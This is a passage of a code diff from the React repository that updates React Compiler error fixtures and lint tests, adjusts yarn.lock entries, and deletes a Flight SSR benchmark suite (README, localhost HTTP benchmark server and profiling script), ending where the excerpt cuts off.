`Date.now` is an impure function. Calling an impure function can produce unstable results that update unpredictably when the component happens to re-render. (https://react.dev/reference/rules/components-and-hooks-must-be-pure#components-and-hooks-must-be-idempotent).
error.invalid-impure-functions-in-render.ts:4:15
2 |
3 | function Component() {
> 4 | const date = Date.now();
| ^^^^^^^^ Cannot call impure function
5 | const now = performance.now();
6 | const rand = Math.random();
7 | return <Foo date={date} now={now} rand={rand} />;
Error: Cannot call impure function during render
`performance.now` is an impure function. Calling an impure function can produce unstable results that update unpredictably when the component happens to re-render. (https://react.dev/reference/rules/components-and-hooks-must-be-pure#components-and-hooks-must-be-idempotent).
error.invalid-impure-functions-in-render.ts:5:14
3 | function Component() {
4 | const date = Date.now();
> 5 | const now = performance.now();
| ^^^^^^^^^^^^^^^ Cannot call impure function
6 | const rand = Math.random();
7 | return <Foo date={date} now={now} rand={rand} />;
8 | }
Error: Cannot call impure function during render
`Math.random` is an impure function. Calling an impure function can produce unstable results that update unpredictably when the component happens to re-render. (https://react.dev/reference/rules/components-and-hooks-must-be-pure#components-and-hooks-must-be-idempotent).
error.invalid-impure-functions-in-render.ts:6:15
4 | const date = Date.now();
5 | const now = performance.now();
> 6 | const rand = Math.random();
| ^^^^^^^^^^^ Cannot call impure function
7 | return <Foo date={date} now={now} rand={rand} />;
8 | }
9 |
```

View File

@@ -1,77 +0,0 @@
## Input
```javascript
// @flow
import {PanResponder, Stringify} from 'shared-runtime';
export default component Playground() {
const onDragEndRef = useRef(() => {});
useEffect(() => {
onDragEndRef.current = () => {
console.log('drag ended');
};
});
const panResponder = useMemo(
() =>
PanResponder.create({
onPanResponderTerminate: () => {
onDragEndRef.current();
},
}),
[]
);
return <Stringify responder={panResponder} />;
}
```
## Code
```javascript
import { c as _c } from "react/compiler-runtime";
import { PanResponder, Stringify } from "shared-runtime";
export default function Playground() {
const $ = _c(3);
const onDragEndRef = useRef(_temp);
let t0;
if ($[0] === Symbol.for("react.memo_cache_sentinel")) {
t0 = () => {
onDragEndRef.current = _temp2;
};
$[0] = t0;
} else {
t0 = $[0];
}
useEffect(t0);
let t1;
if ($[1] === Symbol.for("react.memo_cache_sentinel")) {
t1 = PanResponder.create({
onPanResponderTerminate: () => {
onDragEndRef.current();
},
});
$[1] = t1;
} else {
t1 = $[1];
}
const panResponder = t1;
let t2;
if ($[2] === Symbol.for("react.memo_cache_sentinel")) {
t2 = <Stringify responder={panResponder} />;
$[2] = t2;
} else {
t2 = $[2];
}
return t2;
}
function _temp2() {
console.log("drag ended");
}
function _temp() {}
```
### Eval output
(kind: exception) Fixture not implemented

View File

@@ -1,21 +0,0 @@
// @flow
import {PanResponder, Stringify} from 'shared-runtime';
export default component Playground() {
const onDragEndRef = useRef(() => {});
useEffect(() => {
onDragEndRef.current = () => {
console.log('drag ended');
};
});
const panResponder = useMemo(
() =>
PanResponder.create({
onPanResponderTerminate: () => {
onDragEndRef.current();
},
}),
[]
);
return <Stringify responder={panResponder} />;
}

View File

@@ -30,7 +30,7 @@ function useFoo(input1) {
## Error
```
Found 1 error:
Found 2 errors:
Error: Found missing memoization dependencies
@@ -46,6 +46,23 @@ error.useMemo-unrelated-mutation-in-depslist.ts:18:14
21 | }
Inferred dependencies: `[x, y]`
Compilation Skipped: Existing memoization could not be preserved
React Compiler has skipped optimizing this component because the existing manual memoization could not be preserved. The inferred dependencies did not match the manually specified dependencies, which could cause the value to change more or less frequently than expected. The inferred dependency was `input1`, but the source dependencies were [y]. Inferred different dependency than source.
error.useMemo-unrelated-mutation-in-depslist.ts:16:27
14 | const x = {};
15 | const y = [input1];
> 16 | const memoized = useMemo(() => {
| ^^^^^^^
> 17 | return [y];
| ^^^^^^^^^^^^^^^
> 18 | }, [(mutate(x), y)]);
| ^^^^ Could not preserve existing manual memoization
19 |
20 | return [x, memoized];
21 | }
```

View File

@@ -0,0 +1,40 @@
## Input
```javascript
// @enablePropagateDepsInHIR
function useFoo(props: {value: {x: string; y: string} | null}) {
const value = props.value;
return createArray(value?.x, value?.y)?.join(', ');
}
function createArray<T>(...args: Array<T>): Array<T> {
return args;
}
export const FIXTURE_ENTRYPONT = {
fn: useFoo,
props: [{value: null}],
};
```
## Error
```
Found 1 error:
Todo: Unexpected terminal kind `optional` for optional fallthrough block
error.todo-optional-call-chain-in-optional.ts:4:21
2 | function useFoo(props: {value: {x: string; y: string} | null}) {
3 | const value = props.value;
> 4 | return createArray(value?.x, value?.y)?.join(', ');
| ^^^^^^^^ Unexpected terminal kind `optional` for optional fallthrough block
5 | }
6 |
7 | function createArray<T>(...args: Array<T>): Array<T> {
```

View File

@@ -1,54 +0,0 @@
## Input
```javascript
// @enablePropagateDepsInHIR
function useFoo(props: {value: {x: string; y: string} | null}) {
const value = props.value;
return createArray(value?.x, value?.y)?.join(', ');
}
function createArray<T>(...args: Array<T>): Array<T> {
return args;
}
export const FIXTURE_ENTRYPONT = {
fn: useFoo,
props: [{value: null}],
};
```
## Code
```javascript
import { c as _c } from "react/compiler-runtime"; // @enablePropagateDepsInHIR
function useFoo(props) {
const $ = _c(3);
const value = props.value;
let t0;
if ($[0] !== value?.x || $[1] !== value?.y) {
t0 = createArray(value?.x, value?.y)?.join(", ");
$[0] = value?.x;
$[1] = value?.y;
$[2] = t0;
} else {
t0 = $[2];
}
return t0;
}
function createArray(...t0) {
const args = t0;
return args;
}
export const FIXTURE_ENTRYPONT = {
fn: useFoo,
props: [{ value: null }],
};
```
### Eval output
(kind: exception) Fixture not implemented

View File

@@ -1,53 +0,0 @@
## Input
```javascript
function useFoo(props: {value: {x: string; y: string} | null}) {
const value = props.value;
return createArray(value?.x, value?.y)?.join(', ');
}
function createArray<T>(...args: Array<T>): Array<T> {
return args;
}
export const FIXTURE_ENTRYPONT = {
fn: useFoo,
props: [{value: null}],
};
```
## Code
```javascript
import { c as _c } from "react/compiler-runtime";
function useFoo(props) {
const $ = _c(3);
const value = props.value;
let t0;
if ($[0] !== value?.x || $[1] !== value?.y) {
t0 = createArray(value?.x, value?.y)?.join(", ");
$[0] = value?.x;
$[1] = value?.y;
$[2] = t0;
} else {
t0 = $[2];
}
return t0;
}
function createArray(...t0) {
const args = t0;
return args;
}
export const FIXTURE_ENTRYPONT = {
fn: useFoo,
props: [{ value: null }],
};
```
### Eval output
(kind: exception) Fixture not implemented

View File

@@ -64,9 +64,6 @@ testRule(
makeTestCaseError(
'Capitalized functions are reserved for components',
),
makeTestCaseError(
'Capitalized functions are reserved for components',
),
],
},
],

View File

@@ -57,6 +57,7 @@ testRule('plugin-recommended', TestRecommendedRules, {
],
invalid: [
{
// TODO: actually return multiple diagnostics in this case
name: 'Multiple diagnostic kinds from the same function are surfaced',
code: normalizeIndent`
import Child from './Child';
@@ -69,7 +70,6 @@ testRule('plugin-recommended', TestRecommendedRules, {
`,
errors: [
makeTestCaseError('Hooks must always be called in a consistent order'),
makeTestCaseError('Capitalized functions are reserved for components'),
],
},
{
@@ -128,7 +128,6 @@ testRule('plugin-recommended', TestRecommendedRules, {
makeTestCaseError(
'Calling setState from useMemo may trigger an infinite loop',
),
makeTestCaseError('Found extra memoization dependencies'),
],
},
],

View File

@@ -378,17 +378,6 @@ export async function transformFixtureInput(
msg: 'Expected nothing to be compiled (from `// @expectNothingCompiled`), but some functions compiled or errored',
};
}
const unexpectedThrows = logs.filter(
log => log.event.kind === 'CompileUnexpectedThrow',
);
if (unexpectedThrows.length > 0) {
return {
kind: 'err',
msg:
`Compiler pass(es) threw instead of recording errors:\n` +
unexpectedThrows.map(l => (l.event as any).data).join('\n'),
};
}
return {
kind: 'ok',
value: {

View File

@@ -196,44 +196,6 @@ export function makeSharedRuntimeTypeProvider({
],
},
},
PanResponder: {
kind: 'object',
properties: {
create: {
kind: 'function',
positionalParams: [EffectEnum.Freeze],
restParam: null,
calleeEffect: EffectEnum.Read,
returnType: {kind: 'type', name: 'Any'},
returnValueKind: ValueKindEnum.Frozen,
aliasing: {
receiver: '@receiver',
params: ['@config'],
rest: null,
returns: '@returns',
temporaries: [],
effects: [
{
kind: 'Freeze',
value: '@config',
reason: ValueReasonEnum.KnownReturnSignature,
},
{
kind: 'Create',
into: '@returns',
value: ValueKindEnum.Frozen,
reason: ValueReasonEnum.KnownReturnSignature,
},
{
kind: 'ImmutableCapture',
from: '@config',
into: '@returns',
},
],
},
},
},
},
},
};
} else if (moduleName === 'ReactCompilerKnownIncompatibleTest') {

View File

@@ -421,10 +421,4 @@ export function typedMutate(x: any, v: any = null): void {
x.property = v;
}
export const PanResponder = {
create(obj: any): any {
return obj;
},
};
export default typedLog;

View File

@@ -10525,16 +10525,7 @@ string-length@^4.0.1:
char-regex "^1.0.2"
strip-ansi "^6.0.0"
"string-width-cjs@npm:string-width@^4.2.0":
version "4.2.3"
resolved "https://registry.npmjs.org/string-width/-/string-width-4.2.3.tgz"
integrity sha512-wKyQRQpjJ0sIp62ErSZdGsjMJWsap5oRNihHhu6G7JVO/9jIB6UyevL+tXuOqrng8j/cxKTWyWUwvSTriiZz/g==
dependencies:
emoji-regex "^8.0.0"
is-fullwidth-code-point "^3.0.0"
strip-ansi "^6.0.1"
string-width@^4.1.0, string-width@^4.2.0, string-width@^4.2.3:
"string-width-cjs@npm:string-width@^4.2.0", string-width@^4.1.0, string-width@^4.2.0, string-width@^4.2.3:
version "4.2.3"
resolved "https://registry.npmjs.org/string-width/-/string-width-4.2.3.tgz"
integrity sha512-wKyQRQpjJ0sIp62ErSZdGsjMJWsap5oRNihHhu6G7JVO/9jIB6UyevL+tXuOqrng8j/cxKTWyWUwvSTriiZz/g==
@@ -10607,14 +10598,7 @@ string_decoder@~1.1.1:
dependencies:
safe-buffer "~5.1.0"
"strip-ansi-cjs@npm:strip-ansi@^6.0.1":
version "6.0.1"
resolved "https://registry.npmjs.org/strip-ansi/-/strip-ansi-6.0.1.tgz"
integrity sha512-Y38VPSHcqkFrCpFnQ9vuSXmquuv5oXOKpGeT6aGrr3o3Gc9AlVa6JBfUSOCnbxGGZF+/0ooI7KrPuUSztUdU5A==
dependencies:
ansi-regex "^5.0.1"
strip-ansi@^6.0.0, strip-ansi@^6.0.1:
"strip-ansi-cjs@npm:strip-ansi@^6.0.1", strip-ansi@^6.0.0, strip-ansi@^6.0.1:
version "6.0.1"
resolved "https://registry.npmjs.org/strip-ansi/-/strip-ansi-6.0.1.tgz"
integrity sha512-Y38VPSHcqkFrCpFnQ9vuSXmquuv5oXOKpGeT6aGrr3o3Gc9AlVa6JBfUSOCnbxGGZF+/0ooI7KrPuUSztUdU5A==
@@ -11080,9 +11064,9 @@ undici-types@~6.19.2:
integrity sha512-ve2KP6f/JnbPBFyobGHuerC9g1FYGn/F8n1LWTwNxCEzd6IfqTwUQcNXgEtmmQ6DlRrC1hrSrBnCZPokRrDHjw==
undici@^6.19.5:
version "6.23.0"
resolved "https://registry.yarnpkg.com/undici/-/undici-6.23.0.tgz#7953087744d9095a96f115de3140ca3828aff3a4"
integrity sha512-VfQPToRA5FZs/qJxLIinmU59u0r7LXqoJkCzinq3ckNJp3vKEh7jTWN589YQ5+aoAC/TGRLyJLCPKcLQbM8r9g==
version "6.21.2"
resolved "https://registry.npmjs.org/undici/-/undici-6.21.2.tgz"
integrity sha512-uROZWze0R0itiAKVPsYhFov9LxrPMHLMEQFszeI2gCN6bnIIZ8twzBCJcN2LJrBBLfrP0t1FW0g+JmKVl8Vk1g==
unicode-canonical-property-names-ecmascript@^2.0.0:
version "2.0.1"
@@ -11391,7 +11375,7 @@ workerpool@^6.5.1:
resolved "https://registry.npmjs.org/workerpool/-/workerpool-6.5.1.tgz"
integrity sha512-Fs4dNYcsdpYSAfVxhnl1L5zTksjvOJxtC5hzMNl+1t9B8hTJTdKDyZ5ju7ztgPy+ft9tBFXoOlDNiOT9WUXZlA==
"wrap-ansi-cjs@npm:wrap-ansi@^7.0.0":
"wrap-ansi-cjs@npm:wrap-ansi@^7.0.0", wrap-ansi@^7.0.0:
version "7.0.0"
resolved "https://registry.npmjs.org/wrap-ansi/-/wrap-ansi-7.0.0.tgz"
integrity sha512-YVGIj2kamLSTxw6NsZjoBxfSwsn0ycdesmc4p+Q21c5zPuZ1pl+NfxVdxPtdHvmNVOQ6XSYG4AUtyt/Fi7D16Q==
@@ -11409,15 +11393,6 @@ wrap-ansi@^6.2.0:
string-width "^4.1.0"
strip-ansi "^6.0.0"
wrap-ansi@^7.0.0:
version "7.0.0"
resolved "https://registry.npmjs.org/wrap-ansi/-/wrap-ansi-7.0.0.tgz"
integrity sha512-YVGIj2kamLSTxw6NsZjoBxfSwsn0ycdesmc4p+Q21c5zPuZ1pl+NfxVdxPtdHvmNVOQ6XSYG4AUtyt/Fi7D16Q==
dependencies:
ansi-styles "^4.0.0"
string-width "^4.1.0"
strip-ansi "^6.0.0"
wrap-ansi@^8.1.0:
version "8.1.0"
resolved "https://registry.npmjs.org/wrap-ansi/-/wrap-ansi-8.1.0.tgz"

View File

@@ -1,62 +0,0 @@
# Flight SSR Benchmark
Measures the performance overhead of the React Server Components (RSC) Flight pipeline compared to plain Fizz server-side rendering, across both Node and Edge (web streams) APIs.
## Prerequisites
Build React from the repo root first:
```sh
yarn build-for-flight-prod
```
Then install the fixture's dependencies:
```sh
cd fixtures/flight-ssr-bench
yarn install
```
## Scripts
| Script | Purpose |
| --- | --- |
| `yarn bench` | Sequential benchmark with Flight script injection (realistic framework pipeline). Best for measuring Edge vs Node overhead. |
| `yarn bench:bare` | Sequential benchmark without script injection. Best for measuring React-internal changes (e.g. Flight serialization optimizations) with less noise from stream plumbing. |
| `yarn bench:server` | HTTP server benchmark using autocannon at c=1 and c=10. Best for measuring real-world req/s. The c=1 results are also useful for tracking React-internal changes. |
| `yarn bench:concurrent` | In-process concurrent benchmark (50 in-flight renders). Measures throughput under load without HTTP overhead. |
| `yarn bench:profile` | CPU profiling via V8 inspector. Saves `.cpuprofile` files to `build/profiles/`. |
| `yarn start` | Starts the HTTP server for manual browser testing at `http://localhost:3001`. Append `.rsc` to any Flight URL to see the raw Flight payload. |
## What it measures
Each script benchmarks 8 render variants:
- **Fizz (Node, sync/async)** -- plain `renderToPipeableStream`, no RSC
- **Fizz (Edge, sync/async)** -- plain `renderToReadableStream`, no RSC
- **Flight + Fizz (Node, sync/async)** -- full RSC pipeline: Flight server (`renderToPipeableStream`) -> Flight client (`createFromNodeStream`) -> Fizz (`renderToPipeableStream`)
- **Flight + Fizz (Edge, sync/async)** -- full RSC pipeline: Flight server (`renderToReadableStream`) -> Flight client (`createFromReadableStream`) -> Fizz (`renderToReadableStream`)
The "sync" variants use a fully synchronous app (no Suspense boundaries). The "async" variants use per-row async components with staggered delays and individual Suspense boundaries (~250 boundaries per render).
### Script injection
The `yarn bench` and `yarn bench:server` scripts simulate what real frameworks do: tee the Flight stream and inject `<script>` hydration tags into the HTML output. This uses a `setTimeout(0)`-buffered Transform/TransformStream to avoid splitting mid-HTML-tag. `yarn bench:bare` skips this for cleaner React-internal measurement.
## Test app
A dashboard with ~25 components (16 client components), rendering:
- 200 product rows with nested reviews, specifications, and supplier data (~325KB Flight payload)
- 50 activity feed items
- Stats grid with 24-month chart data
- Sidebar with navigation and recent activity
## Output
The overhead tables show two comparisons:
1. **Flight overhead** -- Flight+Fizz vs Fizz-only (how much RSC adds)
2. **Edge vs Node** -- web streams vs Node streams (stream implementation cost)
Delta is shown as percentage change plus a factor (e.g. `+120% 2.20x` means 2.2x slower).

View File

@@ -1,350 +0,0 @@
'use strict';
require('@babel/register')({
presets: [['@babel/preset-react', {runtime: 'automatic'}]],
plugins: ['@babel/plugin-transform-modules-commonjs'],
only: [/\/src\//],
});
const http = require('http');
const {Readable} = require('stream');
const webpack = require('webpack');
const {clientManifest, ssrManifest} = require('./webpack-mock');
const {
renderFizzNode,
renderFizzEdge,
renderFlightFizzNode,
renderFlightFizzEdge,
} = require('./render-helpers');
const {printGrid} = require('./print-helpers');
// ---------------------------------------------------------------------------
// Build
// ---------------------------------------------------------------------------
function build() {
const config = require('./webpack.config');
return new Promise(function (resolve, reject) {
webpack(config, function (err, stats) {
if (err) {
reject(err);
return;
}
if (stats.hasErrors()) {
reject(new Error(stats.toString({errors: true})));
return;
}
console.log(
stats.toString({colors: true, modules: false, entrypoints: false})
);
resolve();
});
});
}
// ---------------------------------------------------------------------------
// Server
// ---------------------------------------------------------------------------
const ITEM_COUNT = 200;
const PORT = 3001;
async function main() {
console.log('Building RSC bundle...\n');
await build();
const {
renderRSCNode,
renderRSCEdge,
App: RSCApp,
AppAsync: RSCAppAsync,
} = require('./build/rsc-bundle.js');
const App = require('./src/App.js').default;
const AppAsync = require('./src/AppAsync.js').default;
function pipeStreamToRes(stream, res) {
if (typeof stream.pipe === 'function') {
// Node Readable stream
stream.pipe(res);
} else {
// Web ReadableStream — convert to Node stream for HTTP response
Readable.fromWeb(stream).pipe(res);
}
}
function pipeToRes(streamOrPromise, res) {
if (typeof streamOrPromise.then === 'function') {
streamOrPromise.then(
function (stream) {
pipeStreamToRes(stream, res);
},
function (err) {
console.error(err);
if (!res.headersSent) res.writeHead(500);
res.end();
}
);
} else {
pipeStreamToRes(streamOrPromise, res);
}
}
const routes = {
'/fizz-node-sync': function (res) {
pipeToRes(renderFizzNode(App, ITEM_COUNT), res);
},
'/fizz-node-async': function (res) {
pipeToRes(renderFizzNode(AppAsync, ITEM_COUNT), res);
},
'/fizz-edge-sync': function (res) {
pipeToRes(renderFizzEdge(App, ITEM_COUNT), res);
},
'/fizz-edge-async': function (res) {
pipeToRes(renderFizzEdge(AppAsync, ITEM_COUNT), res);
},
'/flight-node-sync': function (res) {
pipeToRes(
renderFlightFizzNode(
renderRSCNode,
RSCApp,
ITEM_COUNT,
clientManifest,
ssrManifest
),
res
);
},
'/flight-node-sync.rsc': function (res) {
pipeStreamToRes(renderRSCNode(clientManifest, RSCApp, ITEM_COUNT), res);
},
'/flight-node-async': function (res) {
pipeToRes(
renderFlightFizzNode(
renderRSCNode,
RSCAppAsync,
ITEM_COUNT,
clientManifest,
ssrManifest
),
res
);
},
'/flight-node-async.rsc': function (res) {
pipeStreamToRes(
renderRSCNode(clientManifest, RSCAppAsync, ITEM_COUNT),
res
);
},
'/flight-edge-sync': function (res) {
pipeToRes(
renderFlightFizzEdge(
renderRSCEdge,
RSCApp,
ITEM_COUNT,
clientManifest,
ssrManifest
),
res
);
},
'/flight-edge-sync.rsc': function (res) {
pipeStreamToRes(renderRSCEdge(clientManifest, RSCApp, ITEM_COUNT), res);
},
'/flight-edge-async': function (res) {
pipeToRes(
renderFlightFizzEdge(
renderRSCEdge,
RSCAppAsync,
ITEM_COUNT,
clientManifest,
ssrManifest
),
res
);
},
'/flight-edge-async.rsc': function (res) {
pipeStreamToRes(
renderRSCEdge(clientManifest, RSCAppAsync, ITEM_COUNT),
res
);
},
};
const server = http.createServer(function (req, res) {
const handler = routes[req.url];
if (!handler) {
if (req.url === '/' || req.url === '') {
res.writeHead(200, {'Content-Type': 'text/html'});
res.end(
'<html><body><h1>Flight SSR Bench</h1><ul>' +
Object.keys(routes)
.map(function (r) {
return '<li><a href="' + r + '">' + r + '</a></li>';
})
.join('') +
'</ul></body></html>'
);
return;
}
res.writeHead(404);
res.end('Not found');
return;
}
const contentType = req.url.endsWith('.rsc')
? 'text/x-component'
: 'text/html';
res.writeHead(200, {'Content-Type': contentType});
handler(res);
});
await new Promise(function (resolve) {
server.listen(PORT, resolve);
});
console.log('\nServer listening on http://localhost:%d', PORT);
console.log('Endpoints:');
for (const route of Object.keys(routes)) {
console.log(' http://localhost:%d%s', PORT, route);
}
if (!process.argv.includes('--bench')) {
return;
}
// Run autocannon against each endpoint.
// Use a fixed request count (amount) instead of duration so that all
// in-flight requests complete before autocannon closes connections.
const autocannon = require('autocannon');
const concurrencyLevels = [1, 10];
const WARMUP_AMOUNT = 200;
const BENCH_AMOUNT = 1000;
function runAutocannon(benchUrl, connections, amount) {
return new Promise(function (resolve, reject) {
const instance = autocannon({url: benchUrl, connections, amount});
autocannon.track(instance, {
renderProgressBar: false,
renderResultsTable: false,
});
instance.on('done', resolve);
instance.on('error', reject);
});
}
for (const c of concurrencyLevels) {
console.log(
'\n--- HTTP Benchmark (%d warmup, c=%d, %d requests) ---\n',
WARMUP_AMOUNT,
c,
BENCH_AMOUNT
);
const results = {};
const benchRoutes = Object.keys(routes).filter(function (r) {
return !r.endsWith('.rsc');
});
const labelWidth = Math.max(
...benchRoutes.map(function (r) {
return r.length - 1;
})
);
const header =
''.padEnd(labelWidth) +
' ' +
'req/s'.padStart(14) +
' ' +
'p50'.padStart(8) +
' ' +
'p99'.padStart(8);
console.log(' ' + header);
console.log(' ' + '-'.repeat(header.length));
for (const route of benchRoutes) {
const label = route.slice(1);
const benchUrl = 'http://localhost:' + PORT + route;
// Warmup
await runAutocannon(benchUrl, c, WARMUP_AMOUNT);
const data = await runAutocannon(benchUrl, c, BENCH_AMOUNT);
const reqPerSec = (1000 / data.latency.mean) * data.connections;
const latencyMedian = data.latency.p50;
const latencyP99 = data.latency.p99;
const errors = data.errors + data.timeouts;
results[label] = {reqPerSec, latencyMedian, latencyP99};
let line =
' ' +
label.padEnd(labelWidth) +
' ' +
String(reqPerSec.toFixed(1)).padStart(8) +
' req/s' +
' ' +
String(latencyMedian).padStart(5) +
' ms' +
' ' +
String(latencyP99).padStart(5) +
' ms';
if (errors > 0) {
line += ' (' + errors + ' errors)';
}
console.log(line);
}
const rps = function (r) {
return r.reqPerSec;
};
console.log('\n--- Flight overhead (c=%d) ---\n', c);
printGrid(
['Fizz', 'Flight+Fizz'],
[
['Node sync', results['fizz-node-sync'], results['flight-node-sync']],
[
'Node async',
results['fizz-node-async'],
results['flight-node-async'],
],
['Edge sync', results['fizz-edge-sync'], results['flight-edge-sync']],
[
'Edge async',
results['fizz-edge-async'],
results['flight-edge-async'],
],
],
rps,
'req/s'
);
console.log('\n--- Edge vs Node (c=%d) ---\n', c);
printGrid(
['Node', 'Edge'],
[
['Fizz sync', results['fizz-node-sync'], results['fizz-edge-sync']],
['Fizz async', results['fizz-node-async'], results['fizz-edge-async']],
[
'Flight+Fizz sync',
results['flight-node-sync'],
results['flight-edge-sync'],
],
[
'Flight+Fizz async',
results['flight-node-async'],
results['flight-edge-async'],
],
],
rps,
'req/s'
);
}
server.close();
}
main().catch(function (err) {
console.error(err);
process.exit(1);
});

View File

@@ -1,726 +0,0 @@
'use strict';
require('@babel/register')({
presets: [['@babel/preset-react', {runtime: 'automatic'}]],
plugins: ['@babel/plugin-transform-modules-commonjs'],
only: [/\/src\//],
});
const path = require('path');
const fs = require('fs');
const webpack = require('webpack');
const inspector = require('node:inspector');
const {clientManifest, ssrManifest} = require('./webpack-mock');
const PROFILE_MODE = process.argv.includes('--profile');
const CONCURRENT_MODE = process.argv.includes('--concurrent');
const INJECT = !process.argv.includes('--no-injection');
// ---------------------------------------------------------------------------
// Build
// ---------------------------------------------------------------------------
function build() {
const config = require('./webpack.config');
return new Promise(function (resolve, reject) {
webpack(config, function (err, stats) {
if (err) {
reject(err);
return;
}
if (stats.hasErrors()) {
reject(new Error(stats.toString({errors: true})));
return;
}
console.log(
stats.toString({colors: true, modules: false, entrypoints: false})
);
resolve();
});
});
}
// ---------------------------------------------------------------------------
// Render helpers
// ---------------------------------------------------------------------------
const {
renderFizzNode: renderFizzNodeStream,
renderFizzEdge: renderFizzEdgeStream,
renderFlightFizzNode: renderFlightFizzNodeStream,
renderFlightFizzEdge: renderFlightFizzEdgeStream,
nodeStreamToString,
webStreamToString,
} = require('./render-helpers');
const {printGrid} = require('./print-helpers');
function renderFizzNode(AppComponent, itemCount) {
return nodeStreamToString(renderFizzNodeStream(AppComponent, itemCount));
}
function renderFizzEdge(AppComponent, itemCount) {
return renderFizzEdgeStream(AppComponent, itemCount).then(webStreamToString);
}
function renderFlightFizzNode(renderRSCNode, AppComponent, itemCount) {
return nodeStreamToString(
renderFlightFizzNodeStream(
renderRSCNode,
AppComponent,
itemCount,
clientManifest,
ssrManifest,
{inject: INJECT}
)
);
}
function renderFlightFizzEdge(renderRSCEdge, AppComponent, itemCount) {
return renderFlightFizzEdgeStream(
renderRSCEdge,
AppComponent,
itemCount,
clientManifest,
ssrManifest,
{inject: INJECT}
).then(webStreamToString);
}
// ---------------------------------------------------------------------------
// Benchmarking
// ---------------------------------------------------------------------------
const canGC = typeof globalThis.gc === 'function';
async function runBenchmark(name, fn, iterations, warmup) {
if (canGC) globalThis.gc();
// Warmup
for (let i = 0; i < warmup; i++) {
await fn();
}
// Collect GC pauses during timed iterations.
let gcCount = 0;
let gcTotalMs = 0;
const gcObs = new PerformanceObserver(list => {
for (const entry of list.getEntries()) {
gcCount++;
gcTotalMs += entry.duration;
}
});
gcObs.observe({entryTypes: ['gc']});
// Timed iterations
const times = [];
for (let i = 0; i < iterations; i++) {
const start = performance.now();
await fn();
times.push(performance.now() - start);
}
gcObs.disconnect();
// Trim top/bottom 5% to remove outliers
const sorted = [...times].sort((a, b) => a - b);
const trimCount = Math.floor(sorted.length * 0.05);
const trimmed = sorted.slice(trimCount, sorted.length - trimCount);
const mean = trimmed.reduce((s, t) => s + t, 0) / trimmed.length;
const median = sorted[Math.floor(sorted.length / 2)];
const stddev = Math.sqrt(
trimmed.reduce((s, t) => s + (t - mean) ** 2, 0) / trimmed.length
);
const p95 = sorted[Math.floor(sorted.length * 0.95)];
const min = sorted[0];
const max = sorted[sorted.length - 1];
return {
name,
mean,
median,
stddev,
p95,
min,
max,
iterations,
gcCount,
gcTotalMs,
};
}
function printResult(result) {
console.log(' %s:', result.name);
console.log(' Mean: %s ms', result.mean.toFixed(2));
console.log(' Median: %s ms', result.median.toFixed(2));
console.log(' Stddev: %s ms', result.stddev.toFixed(2));
console.log(' P95: %s ms', result.p95.toFixed(2));
console.log(' Min: %s ms', result.min.toFixed(2));
console.log(' Max: %s ms', result.max.toFixed(2));
console.log(
' GC: %d pauses, %s ms total (%s ms/iter)',
result.gcCount,
result.gcTotalMs.toFixed(1),
(result.gcTotalMs / result.iterations).toFixed(2)
);
}
async function runConcurrent(name, fn, total, concurrency, warmup) {
if (canGC) globalThis.gc();
for (let i = 0; i < warmup; i++) {
await fn();
}
let gcCount = 0;
let gcTotalMs = 0;
const gcObs = new PerformanceObserver(list => {
for (const entry of list.getEntries()) {
gcCount++;
gcTotalMs += entry.duration;
}
});
gcObs.observe({entryTypes: ['gc']});
const latencies = new Array(total);
let completed = 0;
let launched = 0;
const start = performance.now();
await new Promise(resolve => {
function launch() {
while (launched < total && launched - completed < concurrency) {
const idx = launched++;
const t0 = performance.now();
fn().then(() => {
latencies[idx] = performance.now() - t0;
completed++;
if (completed === total) {
resolve();
} else {
launch();
}
});
}
}
launch();
});
const elapsed = performance.now() - start;
gcObs.disconnect();
const sorted = [...latencies].sort((a, b) => a - b);
const mean = sorted.reduce((s, t) => s + t, 0) / sorted.length;
const p95 = sorted[Math.floor(sorted.length * 0.95)];
return {
name,
reqPerSec: (total / elapsed) * 1000,
mean,
p95,
total,
concurrency,
gcCount,
gcTotalMs,
};
}
function printConcurrentResult(result) {
console.log(' %s:', result.name);
console.log(' Req/s: %s', result.reqPerSec.toFixed(1));
console.log(' Mean: %s ms', result.mean.toFixed(2));
console.log(' P95: %s ms', result.p95.toFixed(2));
console.log(
' GC: %d pauses, %s ms total (%s ms/req)',
result.gcCount,
result.gcTotalMs.toFixed(1),
(result.gcTotalMs / result.total).toFixed(2)
);
}
// ---------------------------------------------------------------------------
// CPU Profiling
// ---------------------------------------------------------------------------
function startProfiler() {
const session = new inspector.Session();
session.connect();
return new Promise(function (resolve, reject) {
session.post('Profiler.enable', function (err) {
if (err) {
reject(err);
return;
}
session.post('Profiler.start', function (err2) {
if (err2) {
reject(err2);
return;
}
resolve(session);
});
});
});
}
function stopProfiler(session, outputPath) {
return new Promise(function (resolve, reject) {
session.post('Profiler.stop', function (err, {profile}) {
if (err) {
reject(err);
return;
}
fs.mkdirSync(path.dirname(outputPath), {recursive: true});
fs.writeFileSync(outputPath, JSON.stringify(profile));
session.post('Profiler.disable');
session.disconnect();
resolve(profile);
});
});
}
function printTopFunctions(profile, topN) {
// Aggregate self-time per function from the profile nodes.
const selfTimes = new Map();
for (const node of profile.nodes) {
const name = node.callFrame.functionName || '(anonymous)';
const loc = node.callFrame.url
? node.callFrame.url.replace(/.*\//, '') + ':' + node.callFrame.lineNumber
: '(native)';
const key = name + ' @ ' + loc;
const hitCount = node.hitCount || 0;
selfTimes.set(key, (selfTimes.get(key) || 0) + hitCount);
}
const sorted = [...selfTimes.entries()]
.sort((a, b) => b[1] - a[1])
.slice(0, topN);
const totalSamples = profile.nodes.reduce((s, n) => s + (n.hitCount || 0), 0);
console.log(' Top %d functions by self-time:', topN);
for (const [key, hits] of sorted) {
const pct = ((hits / totalSamples) * 100).toFixed(1);
console.log(' %s%% - %s', pct, key);
}
}
async function profileRun(name, fn, warmup, iterations, outputPath) {
// Warmup (unprofiled)
for (let i = 0; i < warmup; i++) {
await fn();
}
// Collect GC pauses during the profiled run.
let gcCount = 0;
let gcTotalMs = 0;
const gcObs = new PerformanceObserver(list => {
for (const entry of list.getEntries()) {
gcCount++;
gcTotalMs += entry.duration;
}
});
gcObs.observe({entryTypes: ['gc']});
// Profiled run
const session = await startProfiler();
for (let i = 0; i < iterations; i++) {
await fn();
}
const profile = await stopProfiler(session, outputPath);
gcObs.disconnect();
console.log(' %s → %s', name, outputPath);
printTopFunctions(profile, 10);
console.log(
' GC: %d pauses, %s ms total (%s ms/iter)',
gcCount,
gcTotalMs.toFixed(1),
(gcTotalMs / iterations).toFixed(2)
);
}
// ---------------------------------------------------------------------------
// Main
// ---------------------------------------------------------------------------
async function main() {
